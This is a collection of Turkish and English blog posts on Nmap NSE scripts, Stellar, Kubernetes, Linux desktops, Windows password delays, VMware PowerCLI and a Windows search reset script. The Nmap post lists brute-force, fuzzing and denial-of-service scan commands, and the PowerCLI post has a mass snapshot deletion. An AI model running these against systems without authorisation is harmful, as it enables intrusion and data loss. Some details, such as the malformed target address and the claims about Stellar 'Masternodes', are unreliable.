belirlemek gibi çeşitli görevler için NSE kullanılabilir. NSE, önceden yazılmış ve kullanılabilir olan birçok betikle birlikte gelir ve kullanıcılar kendi özel betiklerini yazabilir. Bu betikler, ağdaki cihazlar ve hizmetler hakkında bilgi toplamak, güvenlik açıklarını tespit etmek veya özel tarama işlemleri gerçekleştirmek için kullanılabilir. 7 Nmap NSE Custom Scripts: https://hackertarget.com/7-nmap-nse-scripts-recon/ NSE'nin avantajları şunlardır: Hızlı ve özelleştirilebilir: NSE, hızlı ve özelleştirilebilir tarama işlemleri yapmanıza olanak tanır, böylece ağınızdaki özel gereksinimleri karşılayabilirsiniz. Bilgi toplama: Betikler, ağdaki cihazlar ve hizmetler hakkında daha fazla bilgi toplamak için kullanılabilir. Örneğin, bir cihazın çalıştırdığı hizmetler, hizmet sürümleri, işletim sistemi tespiti ve daha fazlası. Güvenlik açıklarının tespiti: NSE, potansiyel güvenlik açıklarını tespit etmek için kullanılabilir. Özel betikler, belirli zafiyetlerin varlığını kontrol etmek veya hedef sistemlerdeki güvenlik açıklarını değerlendirmek için kullanılabilir. NSE, ağ yöneticileri, güvenlik uzmanları ve sızma testi uzmanları gibi profesyoneller için güçlü bir araçtır ve ağ güvenliği, performans izleme ve ağ sorunlarını tespit etme gibi çeşitli görevlerde kullanılabilir. NSE Script Kategorileri: Auth (Kimlik Doğrulama): Bu kategori, hedef sistemlere kimlik doğrulama yapmak için kullanılan scriptleri içerir. Broadcast (Yayın): Bu kategori, yerel ağda keşif yapmak için yayın yapılan scriptleri içerir. Genellikle listelenmeyen hostları keşfetmek için kullanılır. Brute (Kaba Kuvvet): Kaba kuvvet saldırıları ile hedef sistemlerin kimlik doğrulama bilgilerini tahmin etmek için kullanılan scriptleri içerir. Default (Varsayılan): Bu kategori, varsayılan NSE scriptlerini içerir ve genellikle -A seçeneğiyle kullanılır. Hız, kullanışlılık, güvenilirlik gibi script özelliklerini içerebilir. Discovery (Keşif): Bu kategori, ağdaki cihazlar ve hizmetler hakkında bilgi toplamak için kullanılan scriptleri içerir. Dos (Hizmet Reddi): Bu kategori, hizmet reddi saldırılarını tespit etmek ve test etmek için kullanılan scriptleri içerir. Exploit (Sömürü): Bu kategori, hedef sistemlerde bulunan güvenlik açıklarını sömürmek için kullanılan scriptleri içerir. External (Harici): Bu kategori, üçüncü taraf veritabanlarına veya diğer harici kaynaklara veri göndermek veya almak için kullanılan scriptleri içerir. Fuzzer (Fuzzer): Bu kategori, rastgele verilerle istekler göndererek hedef sistemi test etmek için kullanılan scriptleri içerir. Intrusive (İzinsiz): Bu kategori, hedef sistemi izinsiz olarak etkileyen veya saldırı olarak algılanabilen scriptleri içerir. Malware (Kötü Amaçlı Yazılım): Bu kategori, hedef platformda kötü amaçlı yazılım veya arka kapı varlığını tespit etmek için kullanılan scriptleri içerir. Safe (Güvenli): Bu kategori, güvenlik açıklarından yararlanmayan ve hizmetleri etkilemeyen scriptleri içerir. Version (Sürüm): Bu kategori, hedef sistemlerin hizmet sürümlerini tespit etmek için kullanılan scriptleri içerir. Vuln (Zafiyet): Bu kategori, bilinen güvenlik açıklarını hedef sistemlerde tespit etmek için kullanılan scriptleri içerir. NSE Commands: #Temel NSE komutu: nmap -sC 10.8.45.78.0/24 #Sadece tek bir script çalıştırılmak istenirse: nmap –script=promiscuous.nse 10.8.45.78.0/24 #Belli bir dizinin altındaki scriptleri çalıştırmak için: nmap –script=/my-scripts 10.8.45.78.0/24 #NSE Tüm scriptlerin çalıştırılması için: nmap –script=all 10.8.45.78.0/24 ***Sisteminizde Nmap Scripting Engine (NSE) Script dosyalarını belirle: locate *.nse locate nse | grep scripts | grep dns nmap --script-help all ***isteğe göre filtrele: locate nse | grep scripts | grep dns ***Nmap Scripting Engine (NSE) scriptlerin (konumu): /usr/share/nmap/scripts/ /usr/local/share/nmap/scripts/ ***Örnek Kullanım: Auth (Kimlik Doğrulama): Örnek: SSH kimlik doğrulaması yapmak için "ssh-brute" nmap --script ssh-brute -p 22 10.8.45.78 Broadcast (Yayın): Örnek: Yerel ağdaki cihazları bulmak için "broadcast-ping" nmap --script broadcast-ping 10.8.45.78 Brute (Kaba Kuvvet): Örnek: SSH şifrelerini kaba kuvvet saldırısıyla denemek için "ssh-brute" nmap --script ssh-brute -p 22 10.8.45.78 Default (Varsayılan): Bu kategori varsayılan NSE scriptlerini içerir, bu nedenle özel bir kullanım örneği sunulmaz. Discovery (Keşif): Örnek: Hedef sistemde çalışan hizmetleri tespit etmek için "all" nmap --script all 10.8.45.78 Dos (Hizmet Reddi): Örnek: Hizmet reddi saldırılarını tespit etmek için "syn-flood" nmap --script syn-flood -p 80 10.8.45.78 Exploit (Sömürü): Örnek: Hedef sistemde bulunan bir açığı sömürmek için "smb-vuln-ms17-010" (Etkilenen sistemleri taramak için dikkatli olun): nmap --script smb-vuln-ms17-010 -p 445 10.8.45.78 External (Harici): Örnek: Hedef sistem için WHOIS bilgilerini almak için whois-ip nmap --script whois-ip 10.8.45.78 Fuzzer (Fuzzer): Örnek: DNS sunucusunu hatalı DNS istekleriyle bombalamak için "dns-fuzz" nmap --script dns-fuzz -p 53 10.8.45.78 Intrusive (İzinsiz): Örnek: HTTP proxy'si olarak kullanmaya çalışmak için "http-open-proxy arduino" nmap --script http-open-proxy 10.8.45.78 Malware (Kötü Amaçlı Yazılım): Örnek: Hedef sistemde kötü amaçlı yazılım veya arka kapı tespit etmek için "smtp-strangeport" nmap --script smtp-strangeport 10.8.45.78 Safe (Güvenli): Örnek: SSH anahtarını tespit etmek için "ssh-hostkey" nmap --script ssh-hostkey -p 22 10.8.45.78 Version (Sürüm): Örnek: Hedef sistemde çalışan hizmetlerin sürümünü tespit etmek için "-sV" nmap -sV 10.8.45.78 Vuln (Zafiyet): Örnek: Belirli bir zafiyeti tespit etmek için "smb-vuln-ms17-010" (Etkilenen sistemleri taramak için dikkatli olun): nmap --script smb-vuln-ms17-010 -p 445 10.8.45.78 Nmap'ın Resmi yardım belgeleri ve daha fazlası için: Nmap'ın Resmi yardım belgeleri ve daha fazlası için: nmap --help man nmap nmap -h nmap -V Saygılarımla – Best Regards --- ## Stellar (XLM) Nedir? Sınır Tanımayan Finansal Köprü Link: https://farukguler.com/posts/stellar-lumens-nedir/ Stellar (XLM), herkes için açık, hızlı, düşük maliyetli ve erişilebilir bir küresel finansal ağ oluşturmayı amaçlayan merkeziyetsiz bir Layer 1 (Katman 1) blockchain protokolüdür. Lümen (XLM), bu ağın yerel (native) kripto para birimidir. 2014 yılında, Ripple’ın (XRP) da kurucu ortaklarından olan Jed McCaleb ve Joyce Kim tarafından kurulan Stellar, kâr amacı gütmeyen Stellar Development Foundation (SDF) tarafından yönetilmektedir. Stellar’ın temel amacı, bankalar, ödeme sağlayıcıları ve bireyler arasında, farklı para birimlerini (hem itibari para hem de dijital varlık) saniyeler içinde ve neredeyse sıfır maliyetle transfer edebilen bir “köprü” altyapısı sunmaktır. Stellar’ın Amacı: Ripple’dan Neden Farklı? Stellar’ın kurucusu Jed McCaleb’in Ripple’dan ayrılıp Stellar’ı kurması nedeniyle, iki proje sıkça karşılaştırılır. Her ikisi de sınır ötesi ödemelere odaklanmış olsa da, felsefeleri ve hedef kitleleri farklıdır: Ripple (XRP): Genellikle mevcut bankacılık sistemini optimize etmeye, bankalar arası büyük hacimli ödemelere (SWIFT sistemine rakip) ve kurumsal çözümlere odaklanır. Stellar (XLM): Daha çok “bankasızlara” (unbanked) ve son kullanıcılara (bireyler) odaklanır. Amacı, finansal sisteme erişimi olmayan milyarlarca insana hızlı ve ucuz havale (remittance) ve mikro ödeme imkanı sunmaktır. Kısacası, Ripple’ı “B2B” (kurumdan kuruma) olarak düşünürseniz, Stellar daha çok “B2C” (kurumdan tüketiciye) veya “P2P” (kişiden kişiye) bir yaklaşım benimser. Stellar’ın Teknolojisi Nasıl Çalışır? Stellar, Bitcoin’in Proof-of-Work (PoW) veya diğer ağların Proof-of-Stake (PoS) mekanizmalarını kullanmaz. Bu nedenle Stellar’da madencilik veya staking ödülü yoktur. Bunun yerine, ağ Stellar Consensus Protocol (SCP) adı verilen benzersiz bir mutabakat algoritması kullanır. Stellar Consensus Protocol (SCP) SCP, bir Federated Byzantine Agreement (FBA) modelidir. Bu sistem şöyle çalışır: Ağdaki her doğrulayıcı (validator) düğüm, güvendiği diğer düğümlerden oluşan bir “güven listesi” (Quorum Slice) belirler. Bir işlemin onaylanması için, bir düğümün kendi güvendiği düğümlerin çoğunluğundan onay alması gerekir. Bu “güven ağları” birbiriyle kesiştiğinde, tüm ağ üzerinde saniyeler içinde küresel bir fikir birliğine varılır. Bu model, PoW gibi enerji yoğun değildir ve PoS gibi sermaye kilitlemesi gerektirmez. Sonuç olarak, işlemler 3-5 saniye içinde kesinleşir ve maliyeti neredeyse sıfırdır (ortalama 0.00001 XLM). Stellar Ekosisteminin Kilit Bileşenleri 1. “Anchor” (Çapa) Sistemi Stellar’ın en güçlü özelliği “Anchor” olarak bilinen aracı kurumlardır. Anchor’lar, geleneksel finans dünyası ile Stellar ağı arasında köprü kuran güvenilir varlıklardır (örn. bankalar, ödeme işlemcileri, fintek şirketleri). Görevi: Bir Anchor, gerçek dünyadaki bir varlığı (örn. USD, EUR, BRL) alır, bunu Stellar ağı üzerinde 1:1 oranında dijital bir token (stablecoin) olarak ihraç eder. Örnek: Siz bir Anchor’a 100 USD gönderirsiniz, o da sizin Stellar cüzdanınıza 100 “USD-Token” gönderir. Artık bu 100 USD-Token’ı saniyeler içinde ve sıfır maliyetle dünyanın herhangi bir yerindeki başka bir Stellar cüzdanına gönderebilirsiniz. Alıcı kişi de bu 100 USD-Token’ı kendi ülkesindeki bir Anchor’a vererek yerel para birimi olarak geri çekebilir. 2. Yerleşik Merkeziyetsiz Borsa (DEX) Stellar protokolü, çekirdek koduna gömülü bir merkeziyetsiz borsaya (DEX) sahiptir. Bu, kullanıcıların Uniswap gibi harici bir akıllı sözleşmeye ihtiyaç duymadan, doğrudan protokol seviyesinde token takası yapabilmelerini sağlar. Ağdaki tüm varlıklar (USD-Token, EUR-Token, XLM, BTC-Token vb.) bu DEX üzerinde birbirine karşı işlem görebilir. Lümen (XLM) Token’ı Ne İşe Yarar? Ağın yerel varlığı olan Lümen (XLM), ekosistemde üç kritik role sahiptir: İşlem Ücretleri ve Spam Koruması: Ağdaki her işlem, çok küçük bir XLM ücreti (0.00001 XLM) gerektirir. Bu ücret, ağa yönelik kötü niyetli spam (DDoS) saldırılarını ekonomik olarak anlamsız kılmak için vardır. Her Stellar cüzdanının aktif hale gelmesi için minimum 1 XLM bakiyesi bulundurması zorunludur. Bu da boş cüzdanlar oluşturularak ağın şişirilmesini engeller. Köprü Para Birimi (Bridge Currency): XLM, ağın yerel DEX’inde bir “köprü varlık” görevi görür. Örnek: Bir kullanıcı Meksika Pezosu (MXN) gönderip Nijerya Nairası (NGN) almak istiyorsa ancak bu iki varlık arasında doğrudan bir pazar (likidite) yoksa, Stellar otomatik olarak şu işlemi yapar: MXN → XLM → NGN. XLM, likit olmayan varlıklar arasında anında takas yapılabilmesini sağlar. Yönetişim (Dolaylı): XLM, ağdaki yönetişim oylamalarında kullanılmaz çünkü protokol güncellemeleri Masternode’lar (doğrulayıcılar) tarafından oylanır. Tokenomi: Sabit Arz Stellar ilk piyasaya sürüldüğünde 100 milyar XLM arzı vardı ve yıllık %1 enflasyon mekanizmasına sahipti. Ancak 2019 yılında, Stellar Development Foundation (SDF) radikal bir kararla 55 milyar XLM’i yaktı (burn etti) ve enflasyon mekanizmasını tamamen kaldırdı. Mevcut toplam arz 50 milyar XLM ile sınırlandırılmıştır ve bu arz sabittir. Bu, zamanla token üzerinde deflasyonist bir etki yaratabilir. Özetle: Stellar, “bankasızları bankalaştırma” vizyonuyla yola çıkan, teknik olarak kanıtlanmış bir projedir. Gerçek dünya varlıklarını (stablecoin’ler, CBDC’ler - Dijital Merkez Bankası Paraları) tokenize etmek ve bunları saniyeler içinde küresel olarak transfer etmek için tasarlanmış en verimli altyapılardan birini sunar. Hızı, ultra düşük maliyetleri ve Anchor sistemi, onu özellikle havale (remittance) ve mikro ödemeler için güçlü bir oyuncu yapmaktadır. --- ## Imperative and Declarative Method on Kubernetes Link: https://farukguler.com/posts/imperative-and-declarative-method-on-kubernetes/ ╰┈➤ Imperative Method In the imperative method, what is to be done is specified step by step and the operations are carried out directly by the user with commands. This approach requires manual interaction with the system. Features:It specifies how to do it: The user initiates operations by writing specific commands.It is fast: Ideal for simple and instant changes.It is temporary: Long-term management is difficult because the operations are not recorded. Examples: #Create a Pod:kubectl run mypod --image=nginx:latest --port=80#Delete a Pod:kubectl delete pod nginx-pod#Update a Pod: kubectl set image pod/nginx nginx=nginx:latest ╰┈➤ Declarative Method In the declarative method, the desired end state is defined and the system automatically reaches that state. The user specifies “what to do” but does not detail “how” to do it. Kubernetes uses control loops to provide and maintain this end state. Features:Specifies what to do: The user manages resources through descriptive files such as YAML or JSON.Repeatable: The same definitions provide the same result every time.Automatic remediation: Kubernetes continuously remediates the actual state to match the defined state. #Definition of a Deployment Example:apiVersion: apps/v1kind: Deploymentmetadata: name: nginx-deploymentspec: replicas: 3 selector: matchLabels: app: nginx template: metadata: labels: app: nginx spec: containers: - name: nginx image: nginx:1.17 To Apply the Definition: kubectl apply -f deployment.yaml 🧐 Compare: Comparison of imperative and declarative approaches in Kubernetes: CrIterIonImperatIveDeclaratIveApproachImmediate and command-basedState-based and descriptiveImplementationUses kubectl commandsUses YAML or JSON filesTraceabilityHarder to trackEasier to track, integrates well with version controlProcessStep-by-step instructionsDesired state specified --- ## En Popüler Linux Masaüstü Ortamları Link: https://farukguler.com/posts/linux-desktop-environments/ Bazı Popüler Masaüstü Ortamları: 1. GNOME: GNOME, modern bir masaüstü ortamıdır ve birçok Linux dağıtımının varsayılan masaüstü ortamıdır. Kullanıcı dostu bir deneyim sunar ve GNOME Shell kullanıcı arayüzüne sahiptir. 2. KDE (K Desktop Environment): birçok uygulama ve araç içerir ve Dolphin dosya yöneticisi gibi güçlü özelliklere sahiptir. KDE, modern ve estetik bir tasarıma sahiptir ve birçok Linux dağıtımının varsayılan masaüstü ortamı olarak tercih edilir. 3. KDE Plasma (Plasma Desktop): KDE Plasma, özelleştirilebilir ve güçlü bir masaüstü ortamıdır. Geniş bir widget koleksiyonu ve görsel efektler sunar. 4. Pantheon: Pantheon, elementary OS için geliştirilen zarif bir masaüstü ortamıdır. Basit bir kullanıcı arayüzüne ve uygulama ekosistemine sahiptir. 5. XFCE: XFCE, hafif ve verimli bir masaüstü ortamıdır. Düşük sistem kaynaklarına ihtiyaç duyar ve basit bir kullanıcı arayüzü sunar. 6. Cinnamon: Cinnamon, Linux Mint dağıtımı için geliştirilen bir masaüstü ortamıdır. Klasik bir masaüstü deneyimi sunar ve Windows'a benzer bir arayüz sağlar. Başlat menüsü, panel ve görev çubuğu gibi geleneksel masaüstü öğelerine sahiptir. 7. Mate: Mate, GNOME 2'nin mirası üzerine inşa edilmiş bir masaüstü ortamıdır. Klasik bir görünüm ve his sunar ve GNOME 3'ün değişikliğini hoş karşılamayan kullanıcılar için idealdir. Basit ve kullanışlı bir arayüz sunar. 8. Budgie: Budgie, Solus işletim sistemi için geliştirilen modern bir masaüstü ortamıdır. Minimalist bir tasarıma sahiptir ve temel masaüstü özelliklerini sunar. Raven adlı bir kontrol merkezi içerir. 9. Enlightenment: Enlightenment, hızlı ve özelleştirilebilir bir masaüstü ortamıdır. Görsel efektler, animasyonlar ve hafif bir tasarım sunar. Farklı bir görünüm ve his sunan bir masaüstü deneyimi sağlar. 10. Fluxbox: Fluxbox, hızlı ve hafif bir pencere yöneticisidir. Minimalist bir arayüze sahiptir ve sadece temel pencere yönetimi özelliklerini sunar. Kullanıcılar genellikle kendi özelleştirmelerini eklerler. 11. Openbox: kullanıcıların pencere yönetimini tamamen kişiselleştirmelerine izin veren bir pencere yöneticisidir. Hafif ve minimal bir tasarıma sahiptir ve genellikle daha özelleştirilmiş masaüstü ortamlarının temelini oluşturur. 12. LXDE (Lightweight X11 Desktop Environment): LXDE, hafif bir masaüstü ortamıdır ve kaynakları düşük olan sistemler için uygundur. Diğer Masaüstü Ortamları: Trinity (TDE): Trinity, KDE 3.5'in devamı olarak geliştirilen bir masaüstü ortamıdır. Windowmaker: Windowmaker, hızlı ve hafif bir pencere yöneticisi ve masaüstü ortamıdır. TWM: TWM (Tab Window Manager), eski bir pencere yöneticisidir. FVWM: FVWM (F Virtual Window Manager), özelleştirilebilir ve hafif bir pencere yöneticisidir. HerbsluftWM: HerbstluftWM, dinamik ve özelleştirilebilir bir pencere yöneticisidir. Lumina: Lumina, TrueOS (eski adıyla PC-BSD) için geliştirilen bir masaüstü ortamıdır. UDE (Ubuntu Desktop Environment): Ubuntu tarafından geliştirilen kısa ömürlü bir masaüstü ortamıdır. Rox: Rox, bir masaüstü çevresi ve dosya yöneticisidir. Equinox: Equinox, hafif bir pencere yöneticisi ve masaüstü ortamıdır. Just a TTY and fbdev: Bu, sadece metin tabanlı bir kullanıcı arabirimini (TTY) ve framebuffer cihazını (fbdev) kullanmayı ifade eder. Grafik arayüz içermeyen bir seçenektir. Linux ekosistemi, bunlar gibi ve daha fazla masaüstü ortamı ve pencere yöneticisi ile zengin bir çeşitlilik sunar. Kullanıcılar, ihtiyaçlarına, tercihlerine ve sistem kaynaklarına bağlı olarak en uygun olanı seçebilmektedirler. Saygılarımla – Best Regards --- ## Windows yanlış bir parola girildikten sonra oturum açmak için neden bekliyor? Link: https://farukguler.com/posts/why-does-windows-wait-to-log-in-after-an-incorrect-password-is-entered/ #Windows'ta yanlış bir parolayı reddetmek neden geçerli bir parolayı kabul etmekten daha uzun sürer? #Why does it take longer to reject a wrong password than to accept a valid password in Windows? Sizde geçersiz veya hatalı bir parolayı reddetmenin geçerli bir parolayı kabul etmekten daha uzun sürdüğünü fark etmiş olabilirsiniz. Hatta bu çoğu zaman can sıkıcı olabiliyor. Aslında bunun birkaç nedeni vardır. Öncelikle, bir parolanın geçersiz veya hatalı olduğunu onaylamak daha uzun sürer. Yerel bilgisayarınız bir parola önbelleği tutar. Bu parola önbelleği, bir iş istasyonunun kilidini açma gibi yerel kimlik doğrulama işlemlerinin performansını artırır. İş istasyonunun kilidini oturum açarken kullandığınız parolayla açarsanız, parolanın iyi olduğu varsayılır. Bu, iş istasyonunun kilidinin hızlı bir şekilde açılmasını sağlar. Parola önbelleği olmadan, iş istasyonunun kilidini açmak için parolayı doğrulamak üzere etki alanı denetleyicisine geri dönmek gerekir ki bu da yavaş ağ bağlantıları için çok uzun sürebilir. Aslında, hiç ağ bağlantınız olmayabilir (aşırı yavaş bir durumdur), örneğin dizüstü bilgisayarınızı yolda olduğunuzu ve artık şirket ağına bağlı olmadığınızı düşünün böyle bir durumda, parola önbelleği olmadan iş istasyonunuzun kilidini açmanız imkansız olacaktır! Ayrıca bu sizi rahatsız ediyorsa bu parola önbelleklerini devre dışı bırakabileceğinizde aklınızda bulunsun. #Bir parolanın geçerli olup olmadığını test etmek için kullanılan algoritma şu şekilde işler: #1 Parola önbellekteyse ve eşleşiyorsa: Geçerli olarak döndürülecek ve oturum sorunsuz açılacaktır.#2 Aksi takdirde: Parola doğrulaması için etki alanı denetleyicisine başvurun uyarısı görüntülenir.Eğer geçerli bir parola girerseniz, doğrulama 1. adımda başarılı olur. Adım 1'in tamamen yerel makinede gerçekleştirildiği de önemlidir. Çünkü yanıt almak için başka bilgisayarlarla iletişim kurması gerekmez. Diğer yandan, geçersiz bir parola girerseniz, parolayı doğrulamak için etki alanı denetleyicisiyle iletişim kurmaya çalışan 2. adıma geçer ve oradan gelecek cevabı beklersiniz. Kısaca bunu önbellekte olmayan parolalar için yapmanız gerekir, çünkü bu parolalar hakkında hiçbir bilgimiz yoktur. Ancak neden önbellekte olan ve eşleşmeyen parolalar için de bunu yapmak zorunda kalasınız ki? Neden etki alanı denetleyicisine başvurmadan sadece geçersiz uyarısı almıyorsunuz dimi? Çünkü önbelleğinizin kendisi geçersiz olabilir. Kullanıcı yakın zamanda başka bir makinede parolasını değiştirdiyse, makinenizin önbelleğindeki parola geçerli değildir. Kullanıcı yeni parolayı kullanmaya çalışırsa, bilgisayarınızın önbelleği "Hayır, bu doğru parola değil" der. Etki alanı denetleyicisine başvurmak yerine hemen geçersiz yanıtını verirseniz, parolaları değişen kullanıcılar eski parolayı önbelleğe almış olan herhangi bir bilgisayara erişmek için bu parolayı kullanamazlar! ve oturup eski parolanın önbellekten düşmesini beklemek zorunda kalırlar. Böylece bilgisayarınız 2. adıma devam edecek ve etki alanı denetleyicisinden yeni parolayı alacaktır. "Şimdi şifrenizi değiştirdiğinizi varsayalım, ancak sistem reddetmeye başlayana kadar eski şifrenizi kullanmaya devam etmeniz gerekiyor ve ardından yeni şifreye geçiyorsunuz. Ve reddetme süresi, bilgisayarı kaç kişinin daha kullandığına bağlı olarak bilgisayardan bilgisayara değişecektir. Eğer bilgisayarı kullanan tek kişi sizseniz, yeni şifrenizi asla kabul etmeyecektir. Ancak bilgisayarda eski parola ile oturum açtığınızda, bu makineden diğer makinelere bağlanırken yeni parolanızı vermeniz gerekebilir, çünkü diğer makineler yeni parolanızı almış olabilir." ****Geçersiz parolaların reddedilmesinin daha uzun sürmesinin en geçerli nedeni de "Brute Force" saldırılarının etkinliğini ve gücünü azaltmaktır. Geçersiz parolalar geçerli parolaların kabul edildiği kadar hızlı bir şekilde reddedilseydi, kötü niyetli bir kişi geçersiz parolaları yüksek hızda deneyerek bir Brute Force saldırısı oluşturabilirdi. Geçersiz parolaları reddetmeden önce birkaç saniyelik bir gecikme eklemek, parolalarını yanlış yazan kullanıcılar için evet küçükte olsa bir rahatsızlık yaratacaktır. Ancak bu özellik "Brute Force" saldırılarını durdurmada büyük bir öneme sahiptir. Örneğin elinizde 5.000 kelimelik bir "Wordlist" olduğunu ve buradaki parolaların 100 saniye içinde kabul veya reddedildiğini varsayalım. Wordlist'teki her parolayı denemek üç saatten fazla zaman alacaktır. Geçersiz parolaların reddedilmesine 5 saniyelik basit bir gecikme eklenmesi bile Wordlist'te arama yapma süresini dört günün üzerine çıkaracaktır. "Örnek görsel: Ayrıca bazı yerlerde geçersiz parolanın reddedilme süresi oldukça yüksek olabilir, özellikle de parolayı her yanlış yazdığınızda gecikme artıyorsa. Son olarak Windows'un tekrar denemenize izin vermeden önce "30 saniye" kadar sizi bekletmesi standart bir güvenlik önlemidir ve bu eşiğe "yasal olmayan yollar" hariç (Tersine Mühendislik vs.) şimdilik müdahale edilememektedir. Saygılarımla – Best Regards --- ## What is VMware PowerCLI? Detailed Information Link: https://farukguler.com/posts/vmware-powercli-nedir-detayli-bilgilendirme/ https://developer.vmware.com/powercli VMware PowerCLI, VMware sanallaştırma ortamlarını otomatikleştirmek, yönetmek ve izlemek için kullanılan PowerShell tabanlı bir araçtır. Bu araç, VMware vSphere ve vCenter ürün ailesi ile entegre çalışır ve aşağıdaki görevleri kolaylaştırır: Sanal makine yönetimi: Oluşturma, başlatma, durdurma, kaldırma ve yapılandırma işlemleri. Sanal Makine Yönetimi: Sanal makine oluşturma, başlatma, durdurma, kaldırma ve yapılandırma gibi işlemleri yönetmek için kullanılır. Ayrıca sanal makine snapshot'ları oluşturma, düzenleme ve silme. Otomasyon ve betikler: Rutin görevleri otomatikleştirme, betikler oluşturma ve tekrarlayan işlemleri hızlandırma. Depolama ve ağ yapılandırma: Depolama hizmeti sağlayıcıları, ağ yapılandırmaları ve VLAN'lar gibi yapılandırmaları yönetme. Raporlama ve izleme: Performans verilerini izleme, raporlar oluşturma ve sorunları tespit etme. Güvenlik ve yetkilendirme: Kullanıcı yönetimi, yetkilendirme yapılandırma ve erişim kontrolü sağlama. vCenter sunucusu yönetimi: vCenter sunucusunu yapılandırma, izleme, yedekleme ve kurtarma işlemleri. VMware PowerCLI, büyük ve karmaşık VMware sanallaştırma altyapılarını daha etkili bir şekilde yönetmenizi sağlar ve otomasyon için güçlü bir araçtır. VMware PowerCLI: #Install and Activate PowerCLI:Install-Module -Name VMware.PowerCLI -Force -AllowClobber#Import PowerCLIImport-Module VMware.PowerCLI#PowerCLI See current version:Get-Module -Name VMware.PowerCLI -ListAvailable | Select-Object Name, Version#PowerCLI Modülünü Güncelleme:Update-Module -Name VMware.PowerCLIPowerCLI Modülünü Kaldırma:#Uninstall-Module -Name VMware.PowerCLI #Connect to vCenter Server:connect-VIserver “IP/ hostname/FQDN of vCenter”Connect-VIServer -Server IP/ hostname/FQDN of vCenter -User faruk -Password Passwd12345+#List existing connections:Get-VIServer#List virtual machines by hosts and other features:Get-VM | Select-Object Name, VMHost, MemoryGB, NumCPU, PowerState#To get a Snapshot for the #DC2 virtual machine:Get-VM -Name "DC2" | New-Snapshot -Name "Snapshotname" -Description "Aciklama..."#Listing All Snapshots:Get-VM | Get-SnapshotGet-VM | Get-Snapshot | select VM, Name, Created, SizeGet-VM | Get-Snapshot | Select-Object VM, Name, Created, @{Name="Description"; Expression={$_.Description}}, @{Name="SizeGB"; Expression={[math]::Round($_.SizeGB, 2)}}, Quiesced, Parent, @{Name="PowerState"; Expression={$_.VM.PowerState}}, @{Name="VMHost"; Expression={$_.VM.VMHost}}Get-VM | Get-Snapshot | Select-Object VM, Name, Created, Description, @{Name="SizeGB"; Expression={[math]::Round($_.SizeGB, 2)}}, @{Name="Host"; Expression={$_.VM.VMHost.Name}}Get-Snapshot -VM * | select VM, Name, SizeGB, @{Name="Snapshot Creator"; Expression={(Get-VIEvent -Entity $_.VM | Where {$_.Info.DescriptionId -eq "VirtualMachine.createSnapshot"} | Select-Object -First 1).UserName}}#Deleting All/Specific Snapshots: Approved and UnapprovedSpesifik: Get-VM -Name "DC-2-server" | Get-Snapshot | Remove-SnapshotOnaylı: Get-VM | Get-Snapshot | Remove-SnapshotOnaysız: Get-VM | Get-Snapshot | Remove-Snapshot -Confirm:$false#Log Out from a specific vCenter:Disconnect-VIServer -Server IP/ hostname/FQDN of vCenter -Confirm:$false#Log out of all vCenter or ESXi sessions in the PowerCLI session:Disconnect-VIServer#Log out of their session by disabling the confirmation message:Disconnect-VIServer -Confirm:$false#Some commonly used VMware PowerCLI commands:########################################################Connection Commands:Connect-VIServer: vCenter sunucusuna veya ESXi ana bilgisayarına bağlanıDisconnect-VIServer: Bağlantıyı kapatır ve vCenter sunucusundan veya ESXi ana bilgisayarından çıkar.Virtual Machine Operations:Get-VM: Tüm sanal makineleri listeler.New-VM: Yeni bir sanal makine oluşturur.Start-VM: Sanal makineyi başlatır.Stop-VM: Sanal makineyi durdurur.Remove-VM: Sanal makineyi kaldırır.Snapshot Operations:Get-Snapshot: Sanal makine için mevcut anlık görüntüleri listeler.New-Snapshot: Yeni bir anlık görüntü oluşturur.Remove-Snapshot: Belirli bir anlık görüntüyü siler.Revert-ToSnapshot: Bir anlık görüntüyü geri yükler.Storage Operations:Get-Datastore: Veri mağazalarını listeler.New-Datastore: Yeni bir veri deposu oluşturur.Remove-Datastore: Veri deposunu kaldırır.Network Configuration:Get-VirtualSwitch: Sanal anahtarları listeler.Get-VMHostNetworkAdapter: Ana bilgisayar ağ adaptörlerini listeler.Reports and Monitoring:Get-Stat: Performans istatistiklerini alır.Get-Event: VMware olaylarını alır.Get-AlarmDefinition: Uyarı tanımlarını listeler.User and Authorization:Get-VIPermission: Yetkilendirmeleri listeler.New-VIPermission: Yeni bir yetkilendirme oluşturur.Remove-VIPermission: Yetkilendirmeyi kaldırır.vCenter Server Operations:Get-VC: Mevcut vCenter sunucusunu alır.Connect-VIServer: vCenter sunucusuna veya ESXi ana bilgisayarına yeniden bağlanır.***Bunlar,bazı temel komutlardan sadece birkaçıdır. VMware PowerCLI, çok daha fazla komut içerir ve VMware vSphere ve vCenter ortamlarınızı otomasyonlaştırmanıza ve yönetmenize olanak tanır. İhtiyaca göre özel komutlar ve betikler oluşturabilirsiniz. Saygılarımla - Best regards --- ## Fixing Windows 10 Searchbox Error using PowerShell Link: https://farukguler.com/posts/fixing-windows-10-searchbox-error/ #Reset Windows Searchbox Fixer # Copyright © 2019, Microsoft Corporation. All rights reserved. Set-ExecutionPolicy -Scope Process -ExecutionPolicy Bypass function T-R { [CmdletBinding()] Param( [String] $n ) $o = Get-Item -LiteralPath $n -ErrorAction SilentlyContinue return ($o -ne $null) } function R-R { [CmdletBinding()] Param( [String] $l ) $m = T-R $l if ($m) { Remove-Item -Path $l -Recurse -ErrorAction SilentlyContinue } } function S-D { R-R "HKLM:\SOFTWARE\Microsoft\Cortana\Testability" R-R "HKLM:\SOFTWARE\Microsoft\Search\Testability" } function K-P { [CmdletBinding()] Param( [String] $g ) $h = Get-Process $g -ErrorAction SilentlyContinue $i = $(get-date).AddSeconds(2) $k = $(get-date) while ((($i - $k) -gt 0) -and $h) { $k = $(get-date) $h = Get-Process $g -ErrorAction SilentlyContinue if ($h) { $h.CloseMainWindow() | Out-Null Stop-Process -Id $h.Id -Force } $h = Get-Process $g -ErrorAction SilentlyContinue } } function D-FF { [CmdletBinding()] Param( [string[]] $e ) foreach ($f in $e) { if (Test-Path -Path $f) { Remove-Item -Recurse -Force $f -ErrorAction SilentlyContinue } } } function D-W { $d = @("$Env:localappdata\Packages\Microsoft.Cortana_8wekyb3d8bbwe\AC\AppCache", "$Env:localappdata\Packages\Microsoft.Cortana_8wekyb3d8bbwe\AC\INetCache", "$Env:localappdata\Packages\Microsoft.Cortana_8wekyb3d8bbwe\AC\INetCookies", "$Env:localappdata\Packages\Microsoft.Cortana_8wekyb3d8bbwe\AC\INetHistory", "$Env:localappdata\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache", 